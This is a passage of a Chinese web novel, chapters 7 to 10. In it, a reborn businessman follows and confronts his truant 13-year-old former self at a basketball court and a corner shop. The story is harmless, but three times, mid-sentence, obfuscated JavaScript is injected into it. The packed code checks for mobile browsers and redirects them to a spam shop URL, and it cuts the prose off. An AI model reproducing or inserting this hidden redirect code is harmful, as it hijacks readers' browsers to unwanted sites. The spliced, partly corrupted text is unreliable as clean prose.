只见话题的主角正巧穿过走廊,朝他们这边走来,西装革履穿戴整齐,身材挺拔,眉眼冷清。 他手里拎着个复古风格纹的皮革公文包,模样怎么看都是要出门的意思。 “老爷。”钟秉诚连忙鞠躬,“您要去哪里?” “去公司看看。”贺知叙语气平淡地回答,就好像他只是去趟卫生间。 在过去这些天里,他充分理清了贺家的经济和产业状况,知道他们在当地有公司,遂决定马上去看看,没准能干回上辈子的老本行。 既然决定给温暖之家提供资金支撑,他自然也打算好好赚钱,不能浪费了手里这么好的资源。 没想到他的一句“去公司”,竟然吓得钟秉诚差点跳起来。 事实上,贺家的佣人们反应都不小,纷纷从四面八方赶来,抓住他的胳膊抱住他的腿,几乎是苦苦哀求:“不要哇老爷!我们就在家里睡觉好吗?我们打扑克好吗?唱卡拉ok怎样?” 贺知叙被团团围困,想把他们甩开都难:“……” 是了,之前那个贺少爷做起生意来,确实让贺家赔了点钱。 好像也就赔了个三千万吧,二十年前的三千万。 要是继续赔下去,贺家只会走向破产,佣人们必然也会丢掉饭碗,无怪乎他们现在这样惶恐。 “这次一定会赚。”贺知叙只能这么安慰他们。 虽然他觉得这话听起来,简直就像从赌徒嘴里说出来的。 佣人们果然越发悲伤:“老爷,您上次、上上次、上上上次都是这么说的啊。” “这次不一样,我有把握。”贺知叙继续他的赌徒发言。 并动用巧劲,将他们一个接一个地从身上扒拉开了。 贺知叙继续往前走,单手整理衣着,将哭丧着脸的佣人们全甩在了身后。 一小时后,他就已经顺利坐在公司顶层的董事长办公室里,先是召集人马开了会。 会议桌上的每个人,表情都活像是看见昏君突然上朝。 贺知叙对他们倒是满意,二十年前的这座城市,经济刚好在上升初期,当地牛马们工作起来都是喜气洋洋手舞足蹈的,个个面带每天睡足8小时的好气色。 会开了三个小时,黄昏时分,贺知叙回到办公室,这才接了刚才开会掐断的电话。 来电人是小赵,这是贺家聘请的年轻司机。 近来,贺知叙吩咐他每日出车,朝7晚9,只为了一件事—— “老板,那小孩今天又逃学了。”小赵在电话里汇报今日份的盯梢情况,“嘴里边还叼块面包呢,翻身就上墙,眼都不眨就往下跳,那身手,比武打演员都敏捷。 “然后他找了个跳蚤市场,出售那些进口饼干巧克力啥的,一上午就卖了83块钱! “揣着钱进了面包店,买了1块5的红豆面包,买了3个,还喝了1块钱豆浆,这小子今天发财了。 “找了个公园躲树荫下睡觉,睡到下午三点半,突然想起自己是学生,慢悠悠回学校了。 “有个漂亮小姑娘把他拦下来,跟他表白,你知道他回的什么嘛?他说——他现在的目标是好好学习,考上清北。他可真会睁眼说瞎话呐。 “接着他回教室了,今天的课堂作业是抄写李白的...” 贺知叙终于打断:“......行了,不用说这么详细。” 他在这个公司里坐了大半天,头都没有像现在这么疼过。 自从他派小赵盯梢陆洄以来,每天他能听到的,都是这种坏新闻。 明明他已经给温暖之家汇去了一大笔钱,现在的陆洄至少能算不愁吃穿了。 但行动怎么还是跟之前一个样? 屡次亲耳听见他又去打群架,贺知叙有几回真想把他抓来,亲手把自己揍一顿,或者干脆锁起来算了。 不让他出去祸害社会,也不让他祸害他自己的人生。 不过,贺知叙其实有许多个瞬间会想,他已经提供了大量金钱,如果不为钱,13岁的陆洄仍然要争当不良少年,那就是陆洄自己的个人选择,那他到底管陆洄做什么呢? 他的人生已经重启了,是在他吃过无数苦头以后。 他珍惜当下、着眼当下的行为并不算错,他可以把自己当作贺知叙,也许时间长了,他总有一天会认为,自己从出生起就是贺知叙,甚至比以前的贺知叙更适合做贺知叙。 但是真的是这样吗? 他问自己,但总难得出确定的回答。 贺知叙微叹了口气,打开面前的笔记本电脑,埋首于事业。 窗外那场秋雨从周一开始,就这么一直下到了周五。 贺知叙上午没去公司,午休过后还是打算出去一趟,正好就在贺家的地下车库里见到了小赵。 “老板。”小赵见了雇主点头又哈腰,解释道:“车回来换了新胎,我正准备出发去盯梢呢。” 说着,他就又要汇报今天上午的情况。 贺知叙摆手,表示自己不想听了,无非就是那些坏事,他都会背了。 “下午不用去了,给你放两天假。”贺知叙说,“带薪的。” 小赵顿时如蒙大赦,连声喊谢谢老板,这份盯梢的活儿虽然钱多,但连着干十天还是很磨人。 贺知叙放走了他,心里有点闷,看着车库里这一排豪车,忽然心头一动。 今天,他想试试自己开车去公司。 贺知叙上辈子坐了轮椅,自然没开过车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486006|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他就和多数男人一样,不能免俗地对车有兴趣,重生以后有试着开原主的车,绕着别墅附近的私家路段兜风。 这还是第一次开上路。 贺知叙看来看去,最终选了小赵开过的那台车。 银色捷达价格不贵,是个市区代步车,蹭花了也不心疼。 贺知叙发动引擎,驾轻就熟地转动方向盘,这车是手动档,但贺知叙认为,手动的开起来更有感觉。 二十年前,交通秩序虽然还不完善,但相应的,路面上车辆也较少。 雨刚停,捷达的新车轮缓缓压上还潮湿的柏油马路,发出的声音很动听。 车速20,贺知叙熟练地换档,轻踩油门升到了40,嘴角轻微上扬了两个像素点,明显是心情好转了。 如果不是在这时,他忽然听见身后传来改装机车刺耳尖锐的呼啸声—— 这声响远道而来,很快就逼近了他,呜呜呜地跟在他车屁股后面,开了一小段路。 贺知叙透过后视镜,依稀看见骑车的是个少年,顶着个黄颜色的脑袋。 还不待贺知叙仔细辨认,对方就嫌他开太慢,轰鸣着从他车右边经过,轻而易举地实现了超车。 而就是这么一个瞬间,贺知叙借由右侧车窗,看清了少年的面孔。 那分明就是13岁的陆洄。 骑着从废品站捡来自己修好的破烂机车,毫无交通安全意识可言:未成年驾驶机动车、超速行驶、不带头盔。 并且还逃学旷课。 每一点都在挑战着贺知叙容忍的底线,让他不自觉攥紧了方向盘。 虽然早听小赵描述过,但百闻不如一见,更何况这一见,情况比小赵描述的简直糟了十倍不止。 陆洄甚至还要把他那短短的头发给染成了黄的。 而贺知叙刚才之所以没一眼认出来,是因为——他上辈子,根本就没有染过这种颜色奇怪的头发! 贺知叙感觉自己这回是真生气了,他加快了车速,然后在下一个红绿灯路口,顺利截住了陆洄。 陆洄这会儿倒是良心发现,突然遵守起交通规则来,竟然没有闯红灯,而是把车停在斑马线前,双脚蹬地。 贺知叙于是也把车停在他右手边,一肚子的怒火,都不知道怎样发作是好。 这辆车的玻璃并没有装防偷窥,他亲眼看见,陆洄先转头看向了他。 贺知叙怎么都没想到,这小孩竟敢主动抬手过来,敲了敲他的车窗玻璃。 他连头盔都不戴,偏偏还要戴个皮手套耍帅,有神经病吧。 贺知叙阴沉着脸色,降下了车窗,他不想忍了,他要骂他。 “贺叔叔。” 陆洄和贺知叙差11岁,但偏要学其他孩子那样喊他。 并且居然是笑着喊的,露出一点虎牙尖尖,眼尾弯弯。 连续一周的降雨过后,灰蒙蒙的云层之间终于有了几缕阳光,此刻轻飘飘地落在少年的面颊上。 他大概认为自己这幅表情很帅气,贺知叙十分清楚,自己当年确实是这样认为的。 但从贺知叙成人的角度看,他只能看出一种未褪的稚气,这是小孩在得意忘形时,没有了防备和紧张,才会露出的表情。 贺知叙心知肚明,13岁的陆洄此刻到底有多高兴。 因为上辈子,他也曾亲手盘活了这辆报废机车,骑着它吹着风,很自由很快乐。 贺知叙看着他,居然一时没说出话来。 于是,继续说话的还是陆洄。 陆洄也看着他,把笑容收起来,故意不满地问:“你一直跟踪我做什么?” 8. 第 8 章 8 13岁的陆洄没有手机可以玩,也没有闲钱上网吧,两只眼睛都是2.0,眼力极佳。 他十天前就发现了这辆行踪可疑的车,并且记下了车型车牌。 几乎每天,这辆车都不远不近地跟着他,陆洄心中有许多猜测和怀疑,但在搞不清对方来路的情况下,陆洄自然没有轻举妄动。 直到今天,当他骑着改装机车,在大路上再次碰见这辆车,他才主动靠近查看。 陆洄怎么都没想到,坐在驾驶座上的,居然是贺知叙。 中秋第二天,他就探听到了这个人的名字。 “我想给贺有为叔叔写感谢信。”陆洄故意假装说错对方的全名。 徐院长一听,果然大惊失色,压低声音说:“什么贺有为?你从哪里乱听来的?人家的名字叫贺知叙。” “贺积蓄?”陆洄托着腮,接着装傻。 “知叙,知识的知,叙述的叙。”徐院长不耐烦起来,强调:“你不能对董事先生直呼其名,那样非常不礼貌。” 陆洄记性好,听一遍就彻底记在心里了。 但除了名字以外,他再也没有得到其他关于这个人的信息。 贺知叙给温暖之家汇了一大笔钱后,就彻底淡出了他们的生活,孤儿院里的孩子们起初还天天提贺叔叔,时间一长,“贺叔叔”三个字也很少出现在对话中了。 就剩下陆洄,不知是怎么回事,夜晚总能梦见贺知叙。 可供梦境加工的素材,就只有中秋那天的回忆,于是梦境开始自由创作。 他梦见贺知叙真成了他的小叔叔,他爬上墙头逃学的时候,贺叔叔在地下等着,张开手臂要接过他,他们一起去打球,他说不喜欢上学,贺叔叔就掏出打火机,把他的作业和课本一块儿烧了。 陆洄每天醒来,都要沉默半小时,甚至想点一根烟:“…………” 他非常确定,他白天根本就没怎么想过贺知叙,都是因为做了怪梦,才恶性循环变得在意了起来。 于是,当陆洄亲眼看见车上坐着贺知叙时,他的第一反应是深深的释怀。 这个大人,行径可比他要恶劣多了,竟然跟踪了他整整十天。 贺知叙看着他,口稍微张了张,还没来及回答他的质问,陆洄眼角余光就先瞥到红灯转绿了。 因为他们后边还排着车,陆洄心直口快,拇指比了比前方,主动说:“我在前面的球场打比赛,你可以过来看。” 说完,他就抢先一步发动引擎,驱车离开了。 只留下贺知叙在原地,表面还算平静,内心却有千百句教训陆洄的话在奔腾。 过了几秒钟,他才动作僵硬地发动了车子。 起步熄火了三次,银色捷达终于顺利离开原地,别无选择,朝着陆洄所说的那个球场驶去。 那是一个市民公用的免费露天篮球场,周六日场地总是很紧张,于是少年时期的陆洄没少选工作日光顾。 能够遇上的,自然也都是不良少年,有的逃学有的辍学。 贺知叙是唯一开车来的,停好车下来,不见陆洄踪影,只能听见球场上的人声鼎沸。 他本来应该是要到公司去的,居然一时冲动,跟着陆洄来了这里。 但是来都来了。 贺知叙朝球场看台方向走去,发现坐在这里的,几乎全都是年轻的小女孩儿。 她们大都披散着长发,有的还画着奇怪夸张的妆,很明显是在模仿成人。 “哎你快看,那个穿西装的是谁?他好帅噢!” “我天真的,比你老公还帅耶,哈哈哈哈哈。” “他是来看谁的?今天没有女篮比赛吧。” “派你去问他要联系方式,然后问他有没有女朋友。” “你牛哇,你男朋友就在下面啊!” “哎你不懂,男朋友这种东西...多多益善嘛。” 贺知叙找了角落坐下,没想到她们不怕生,一窝蜂全围过来了。 这个年纪的女孩儿胆子大,能流畅地和比自己大很多的异性对话,当场叽叽喳喳介绍着,说自己是某某某的女朋友,她们都是过来加油的。 “男生都是这样的。”她们一脸高深莫测地说,“有喜欢的人给自己加油,球就会打得比平时更好。” 贺知叙可不这么认为,因为他以前打球都是一个人来,从不带任何人充当他的观众,他不需要别人的加油,也能发挥得足够好。 至于现在这种情况…他只能说,这是万分之一的巧合。 “你是来看谁的呀?”坐他旁边的女生问。 贺知叙都不知道怎样介绍自己和陆洄的关系。 “我随便看看。”他于是说。 女孩们连忙“哇”的一声叫,捂着嘴欣喜地说:“那你就还是单身咯?” 贺知叙没搭理这些早熟的小孩儿,低头看去,恰好就看见了陆洄。 陆洄刚走上场,新染的黄色头发很是惹眼。 他不知道从哪里换了一身短衣短裤,还装模作样地戴个护腕。 在这种凉嗖嗖的十月天里,看着更加像神经病了。 “啊啊啊啊啊陆哥好帅——”女孩们却猛然一齐振臂呐喊,“陆哥做我男朋友吧!” 其中一个女孩甚至把双手放到嘴两边,做成喇叭状兴奋高呼:“陆哥!我和他已经分手了!” 球场上,突然被通知分手的可怜纯情小男孩:“???” 贺知叙开始感到头疼了,他认为自己这是误入了一个奇怪的地方。 偏偏陆洄在这里最是自在,抬起他那又白又瘦的,都不知道有什么好露的手臂,大大方方朝他这边挥了挥手。 他挥手的时候,身体还轻盈地向上一蹦,就好像跳起来够球网那样,他喊:“贺叔叔!” “叔叔?”女孩们纷纷惊奇道,“噢~你是来看陆哥的呀,刚刚怎么不早说。” “他很受欢迎?”贺知叙简直是明知故问。 “对呀,但是陆哥从来不交女朋友。”旁边的女生沮丧地说。 贺知叙淡淡听着,没即刻接话。 他清楚,依照陆洄此时的心性,还远远不到对情爱开窍的时候。 “他才初二,早恋不合适。”贺知叙语气认真,“等你们长大了,就不会再喜欢他这样的了。” “叔叔你好古板噢。”女生们摇着头嫌道。 他们就此结束了对话,因为球场上的比赛正好开始了。 这场比赛是3v3,只打半场。 街篮不像正规比赛,没那么多繁琐的规矩流程,主打的就是一个随性迅速。 贺知叙许多年不接触体育竞技,眼睛甚至还没反应过来,场上的陆洄就已经先人一步,从对方手里抢到了球。 看台上的欢呼和尖叫即刻爆发开来,人就像坐在一辆瞬间提速的跑车上。 13岁的少年还没进入真正的生长期,跟同龄人比个子不算高,但胜在行动敏捷。 不,单纯用“敏捷”形容还是太保守了。 对方球员尚还猝不及防,陆洄已经一路奔跑,带球绕过两人,转眼就只身冲到了篮下。 没有半分犹豫,他径直起跳,球被稳稳送进框里,轰然落地,发出脆而响的一声“咚”! 贺知叙微微睁大了眼,整颗心被这种爽快而熟悉的声响震得颤了颤。 这便是这场比赛的第一次得分。 整片球场的气氛被点燃,看台上有不少人甚至激动得站了起来。 不过接下来的回防,却显得不那么惊险刺激。 贺知叙对此心知肚明,陆洄这家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486007|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只热衷于进攻,对防守反而很随意懈怠,看见对手来了就挥挥手臂,作势挡一挡,简直就像在浑水摸鱼。 直到对方队伍里,有人大着胆把球横传了过来,被防着的男生赶紧伸手接—— 结果这球被陆洄反手给断了:“不给。” “靠!不要把球往有陆洄的方向传!”被防的球员怒骂道。 陆洄则是笑了,朝他的对手得意地比了个抹脖子的动作,惹得看台上的女孩们又是啊啊啊地一通尖叫。 太嚣张了。 贺知叙都没意识到,自己眼睛里竟然有了少许的笑意。 他原本只是想看看比赛,结果目光却全程跟着陆洄走,但这也不足为奇,因为多数时间里,球都在陆洄的掌控之下。 陆洄在球场上的表现,会让人不自觉感叹,他只有13岁——弹跳力、爆发力、反应、判断和速度都很强悍。 唯独缺了点团队合作意识,让贺知叙确信,他不可能变成职业篮球运动员。 眼下,对手被陆洄接连进球给惹急了,干脆让两个人一起包夹围堵他。 陆洄手底下运着球,经历多次激烈进攻,他已经出了一身薄汗,气息微促。 他这会儿没有再笑了,眉心紧紧拧起,将身体重心压得极低。 眼前两人都比他高大,将突破的路线堵得密不透风。 “陆哥!这边!”他的队友在侧旁高举手臂。 可对手的最后一名球员却虎视眈眈地守在了附近。 所有人都在等陆洄传球,看台上的女孩们紧张得抓住同伴的手,一时间忘了呼喊,屏息注视着这一幕,心怦怦直跳。 他不会传球的,贺知叙在心里说。 因为陆洄这家伙,在最关键的时刻,向来只信得过他自己。 并且如果传了球,在陆洄眼里,其实也等于对方防他防成功了,而他不喜欢这样。 贺知叙现在也不喜欢这样。 不过他到今天才知道,13岁的自己打起球来,原来是这么的张扬得意,又不愿服输。原来被围堵的时候,会露出咬牙切齿的表情,像被逼到悬崖边上的幼狼。 贺知叙不知怎的,心里面的气一下子消了大半。 他甚至是为陆洄紧张了起来,明明只是坐在看台上,远离球场,但身体却不自觉地变得紧绷,就好像即将突出重围的不是13岁的陆洄。 而是灵魂已经33岁的陆洄,是被囿于轮椅之上的那个陆洄。 他的目光终于落到对方双腿,从开场之前,贺知叙就有意识地回避去看那双腿。 那是他上辈子失去已久的东西,如果一直注视,难免会产生歆羡。 陆洄的那双腿还没长出健壮的肌肉,但灵活而富有生命力,它们能带着13岁的陆洄,像踩着风一样自如地穿梭球场。 果不其然,就在下一秒钟—— 陆洄做了个传球的假动作,紧接着手腕轻转,带动着球变向转身,只一眨眼功夫,他身影伏低,如离弦箭般从两人之间硬窜了出去! 整套动作发生在瞬息之间,陆洄甫一突破,便隔空将球掷向了几步之外的篮筐。 一道漂亮的抛物线划过半空,比赛的最后一球精确无误地落入了网中。 全场蓄积已久的欢呼声顿时炸开,声量之大堪比一场正规的篮球比赛。 而就在这个时刻,陆洄忍了整场比赛,终于从球场上抬头,目光直直落向看台上的贺知叙。 整个场景在恍惚之中,竟和中秋夜斗殴中发生的那个对视重合了。 先前那个冰冷尴尬的场景,似乎正被替换成如今这个更喧哗、更振奋人心的场景。 贺知叙垂眼看着低处的陆洄,看见他忍了又忍,还是轻轻牵扯起嘴角。 13岁的少年正当得意,仿佛发着光。 9. 第 9 章 9 露天球场上的欢呼声和尖叫声久久不散。 陆洄简直就像个体育明星,被涌上来的女孩男孩团团围住,每个人都想和他说上几句话。 “陆哥你酷毙了!我将永远追随你!” “你刚刚那个转身怎么做的?能不能教教我!我是真想学啊!” “陆哥可以啊,下次再一起打球呗,我随叫随到。” “你就不能让让我们?兄弟们都没有耍帅的机会了!” “你扣扣号多少,我加你呀!你打游戏吗,我给你送钻!” 可惜陆洄冷漠地摆摆手,一个都没搭理,比平时撤得更着急。 生怕贺知叙看完球赛,就扔下他跑了。 贺知叙没跑,他正站在球场边上,亲眼看着陆洄讲究地洗了手和脸,抓了抓他那黄头发,然后才绷着脸,朝他这边“不情不愿”地走了过来。 走到离他还有三步远的位置,就停下了脚步。 两个人还是初次像这样面对面平地里站着,13岁的陆洄只到贺知叙胸口高,他此刻心里有些担心,自己在运动过后会散发出一股汗臭味。 但秋风吹来,贺知叙闻到的却是孤儿院熟悉的平价香皂味儿,这种味道与他身上的木质调冷香相接触,陆洄能闻到的只有后者。 他于是眼神不自在地看向旁边,甚至有些想往后退几步,拉开双方的距离。 贺知叙低头看着少年版的自己,对方脖颈上还挂着薄薄一层细汗,运动后的脸颊红扑扑的,是很健康朝气的颜色。 按理说,他应该先夸赞陆洄一句的。 小时候,他可爱听别人夸他了,就是每回他都故意摆出不在意的表情。 自己夸自己这种事,贺知叙自认目前还很难做到。 “不再和朋友聊聊?”贺知叙于是转而问他。 “他们不是朋友。”陆洄草草答道,目光扫过他的脸,略微失望,但还是主动问他:“你...有时间吗?不急的话,我们买汽水喝去。” 贺知叙在心里叹口气,看样子跟踪被抓包后,这小孩今天不会轻易放过他。 “好。”贺知叙只好答应。 这个球场,是他小时候常来的,去买汽水的路线也是他所熟悉的。 两人一起穿过窄窄的街道,陆洄带着贺知叙,在上世纪留下来的老巷子里七弯八拐。 也许是这段路走得太沉默,陆洄双手揣在裤兜里,没话找话说:“你就不怕,我把你拐了?” 贺知叙偏头看他一眼,面色平静:“我认为,你比较需要担心这件事。” 陆洄皱皱鼻子,忍不住说:“我猜,你应该从没来过这种破破烂烂的地方吧。” 贺知叙一身高定西装,出现在这种地方,确实给人以很深的违和感,就像把博物馆里的名贵蓝宝石,随手扔在路边摊上,和两元店里的商品摆在一起。 陆洄竟然生出几分得意,因为是他把这个人搬到这里来的。 他甚至在心里悄悄挖苦对方,认为贺知叙今晚回去以后,会把脚上那双皮鞋直接扔进海里——因为踩过贫民区的泥泞道路,不被允许进入富丽堂皇的精致鞋柜。 贺知叙大概猜到他在想什么,没回应他,继续沉默地走着,直到远远看见记忆中的小卖铺。 其实从刚才的球场出去,旁边就有家商店,但年少的陆洄每次都会绕远路,到这个偏僻的小店来。 不仅因为这里要便宜一块五毛,还因为看店的是个孤零零的老婆婆。 陆洄那样不声不响的性子,每次来买汽水,却都会坐下来,陪老婆婆聊一会儿天,帮她搬搬箱子,清点货物,对对账。 两人一前一后走向小卖铺,陆洄就像回了自己家,终于表现得自在多了,人刚到门口就喊道:“婆婆!我来买汽水!” “好哎!”老婆婆就坐在店内的太师椅上看电视,开心地笑起来:“小陆今天这么早放学呀,这是你朋友?” “啊。”陆洄随口应道,熟练地从门口的冰柜里取了玻璃瓶装的可乐,对身后的贺知叙说:“你想喝什么就自己拿。” 他这口气,活像这是他家开的店。 贺知叙本来没想喝,但到了这里总觉得怀念,就伸手取了一样的可乐。 玻璃瓶拿在手中冰冰凉凉的,会让人情不自禁地想念起燥热的夏天。 而他其实已经很久没有四季的概念了,成人的世界里只有工作日和假期的分别。 陆洄已经闪身进了黑黢黢的店内,胳膊肘撑在柜台上,听老婆婆慢悠悠地和他说话,婆婆说一句,他就回应一句。 “你把头发染黄了,老师说你吗?” “我说我上学路上掉染缸里了。” “哈哈哈,老师能相信吗?幸好不是蓝的绿的。” “我今天打比赛呢,婆婆。” “难怪,看你穿这么少,又出这么些汗...比赛打赢了吗?” “你猜。” “那就是又赢了,真棒。” 陆洄不吱声,低头啜饮着冰凉的汽水。 黄昏时分的轻风拨动店门口挂着的贝壳风铃,贺知叙从店门外看着这一幕,不自禁地想,也许13岁的陆洄,并不像他印象中那样糟糕。 起码还不是100%的坏。 也许,是80%坏? 几分钟后,陆洄才走出店来,看见贺知叙坐在门前的木条凳上。 男人即便坐在这种偏僻破旧的巷子里,依然坐得端正优雅,他手里拿的可乐只喝了小半,给人的印象就像在拍电视广告的明星。 路过的人都情不自禁地回头看他。 陆洄犹豫了好一会儿,才把心一横,过去挨着他坐下了。 店里的古董钟正好敲了五下,陆洄伸了个懒腰,感叹:“居然这就五点了啊。” 贺知叙放下可乐瓶,趁着时机合适,顺势审问他:“今天是周五,你为什么没去上学?” 陆洄一愣,显然没想到贺叔叔会突然追究起这个。 这和他梦见的似乎不太一样。 但他早当惯了坏学生,被抓包也不是很慌,叼着吸管,故意回答得吊儿郎当:“上学多没意思,我天生就不是读书那快料,只能当当九年义务教育的漏网之鱼。” 这话一出来,贺知叙心里顿时警钟狂敲。 如果严格按照他上辈子的发展轨迹,过完现在这个学期,陆洄满了14岁,就该辍学出去打黑工了。 “你还小,多读书对你有好处。”贺知叙耐着性子,告诫少年版的他自己,“你可能不知道,将来的工作岗位都要看学历,你不希望自己沦落街头受苦吧?” 他说的都是实话,偏偏13岁正叛逆的自己听不进去。 陆洄拧了拧眉,不太服气地抬起一只手,说:“你刚应该看到了,我的身手很灵巧,不管在哪儿,我都能活下去。” “但你只会活得很辛苦。”贺知叙反驳说,“你未满15岁前都是童工,再灵活也得不到钱。” 陆洄这回没接话,一口气嗦完了剩下的可乐,发出了很响的声音。 紧接着,他就像被条凳烫了屁股似的,径直站了起来。 显然,这话题是聊不下去了,两人间的气氛变得有些僵硬冰冷。 他们依次将玻璃瓶放进回收箱里,走进店里结账。 老婆婆去屋里边上厕所了,倒是对他们两个很放心。 贺知叙作为大人,原本想给陆洄买点零食,绕着货架慢慢走了两圈,发现店里在卖的全是垃圾食品,还混了一点三无产品。 13岁的陆洄就爱吃垃圾食品,甜的香的脆的辣的。 贺知叙才不想给逃学染发骑机车的坏孩子买。 他手伸进西装口袋里掏钱包,却意外的摸了个空。 奇怪,他明明把钱包放进去了。 毕竟二十年前还不流行电子支付,出门在外必须要带现金。 “你在找这个?” 他带出来的黑色牛皮钱包,竟被轻巧地拿捏在陆洄的手里。 贺知叙瞬间就蒙了神,周围的空气仿佛都静止凝固了,只剩眼前的陆洄还会动。 少年眉眼间透露出轻佻的得意,晃了晃那枚精致的钱包,故意呛他说:“我说了,我身手灵活,这样不就弄到钱了吗。” “陆洄!”贺知叙没遏制住瞬间上涌的怒火,他根本不知道,对方是什么时候顺走了钱包。 上辈子偷窃的经历不由分说地涌进脑海里。 一开始他只随手顺一些不值钱的小玩意,逐渐他的胆子变大了,心底的那根弦也松了...他不能再往下回想了。 贺知叙一把抓过对方的手腕,一颗心跳得急躁,就好像把自己的犯罪证据死死捏在了手心里,他用冰冷严厉的声音说:“把它还给我。” 陆洄此刻也终于慌了,因为在他的印象里,贺知叙不管在梦里梦外,都是那副从容淡定的模样,而不是像现在这样—— 欺身逼近他,带着强烈的压迫感,棕色眼眸里交织着他看不懂的愤怒。 不完全是愤怒,那其实更像是一只猫被踩到尾巴以后,表现出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486008|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惊惶与不知所措。 他用让他感到疼痛的力道抓着他,语气和表情分明都在凶他,整个人看起来却好像快散架了似的。 这让13岁的陆洄透过他,莫名地品味到了那种大难临头一般的恐惧。 “你凶我干嘛?放开我!”陆洄咬牙挣扎,将声音放大:“这是你刚弯腰放瓶子的时候掉出来,我从地上帮你捡了!” 虽然他不得不承认,他确实偷偷保留了半分钟时间,手指不由自主地抚摸钱包昂贵漂亮的皮面,他只是因为从没见过这样好的东西,这样的好东西从没落到他的手里过,哪怕一次。 但是真的是这样吗? 他心里有没有那个短暂的瞬间,想过据为己有呢? “怎么了,发生什么事情了吗?”老婆婆听见动静,着急忙慌地从里屋赶出来。 她还以为店里出了什么状况,结果一看,竟然是两个孩子吵起了架来。 刚才明明还好好的啊,现在的孩子就是冲动。 “不要吵架不要打架,有什么话静下心来好好说!”婆婆高举起她的拐杖,挥舞两下,分开了两个人。 钱包已经落回到贺知叙手里,一大一小两个人都静了,但心里各有各的不痛快。 贺知叙平静下来了,从钱包里掏钱,发现只有100的,没有零钱。 陆洄立马掏出三元硬币,放在旧旧的玻璃柜台上。 “两瓶可乐而已,婆婆请你们喝。”老婆婆摆摆手。 陆洄摇头,直接把那三块钱放进了婆婆的找零框里。 老婆婆叹口气,看着他们说:“你们两个,头发颜色都差不多,就像亲兄弟一样,有什么好吵的呀。” 贺知叙心说,他现在这头金发是天生的,跟陆洄瞎染的黄毛完全不一样。 “好了好了。”老婆婆从柜台底下摸出两根软糖,分别塞给他们,“拿着吧,婆婆请你们吃的,不要吵架,恶语伤人心!和气才能生财啊!知道了吗?” 他们俩被迫点了头,老婆婆这才放心露出了笑容。 但贺知叙和陆洄之间的气氛其实还没有缓和下来。 他们走出小卖铺,往来时的方向走,天色已经开始变暗了,他们两个人都没和对方说话。 贺知叙走到半途,悄悄扫了陆洄一眼。 发现对方眼睛正看向别处,眉心微拧,表情冷冷的,一副谁都惹不起的模样。 看起来很生气。 搭配那个黄毛,更加像不良了。 尤其像那种你和他多对视三秒,他就冲上来揍你的类型。 贺知叙恢复镇静以后,在脑中复盘刚才的情形,认定自己误会了陆洄,因为如果陆洄真要偷走钱包,一定会装不知情,不可能拿出来给他看的。 两人转眼已经走回了球场附近,眼看就要分道扬镳了。 “你在这里等我一下。”贺知叙终于开口对陆洄说。 陆洄没答应好还是不好,贺知叙转身就走了,转过现在的街角,消失在他视线范围内。 大约过了十分钟,贺知叙又回来了,手里提着满满一大包东西。 陆洄不想太直接地看他,视线又忍不住被那一大袋东西吸引——那是附近超市的购物袋,从袋口露出了膨化食品包装的一角。 贺知叙都有些不适应,他100块钱买这么一大袋,居然还找了很多零钱,让他费了好些工夫把它们塞进钱包。 塞完他特别想找个地方洗手,但又怕陆洄等不及跑路,只好就这么赶紧回来了。 他把这一大袋零食递给陆洄。 结果陆洄冷着脸说:“我不喜欢吃这些东西。” “那就分给其他孩子吃吧。”贺知叙情绪稳定道。 陆洄这才伸手接过了,低声说了谢谢,两个人又再次陷入了沉默。 贺知叙心想,他小时候就这样的性子,非常需要顺着毛去摸。 于是一番考量过后,贺知叙才组织好了语言,再次开口:“陆洄。” 这次是用很平静的声音喊他的名字。 “你今天,球打得非常好。”贺知叙尝试着慢慢地说,“很酷,很厉害。” 虽然早有心理准备,说出这些字眼的时候,贺知叙还是清晰地感觉到,自己整个人都热了起来。 而陆洄的反应竟然比他还严重。 这家伙先是有点懵地眨了一下眼睛,紧接着,他那张少年的面孔瞬间全红了。 红意窜得飞快,几乎飘到了脖子和耳朵根上。 夏天就好像暂时回到了他们的身上。 10. 第 10 章 10 接下来的两周时间里,贺知叙都像上辈子那样,将绝大部分精力投入在了工作中。 他向来是一个努力起来很专注忘我的人,现在一周有六天都去公司,每天早出晚归。 与上辈子最大的不同是,他现在从高级打工人跃升成了董事,有了更多的决策权,能够按照自己的心意和节奏做事。 当然,贺知叙推崇的节奏,自然是高效率、高品质、高回报。 这幅身体正值青壮年,贺知叙自然是接受良好,但他底下的员工可不这么认为—— 遥想一个月以前,他们还是朝气蓬勃红光满面的模样。 每天欢欢喜喜到公司来,坐下和同事吹吹牛,见缝插针工作两小时后,就拿公司的台式电脑逛逛淘宝、打打蜘蛛纸牌、扫扫雷。 